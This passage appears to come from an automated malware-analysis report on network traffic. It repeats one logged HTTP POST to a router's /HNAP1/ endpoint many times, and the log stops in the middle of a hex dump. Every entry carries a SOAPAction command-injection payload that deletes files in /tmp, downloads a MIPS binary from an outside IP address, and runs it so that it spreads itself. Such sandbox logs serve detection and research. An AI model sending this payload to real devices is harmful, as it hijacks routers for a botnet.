74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 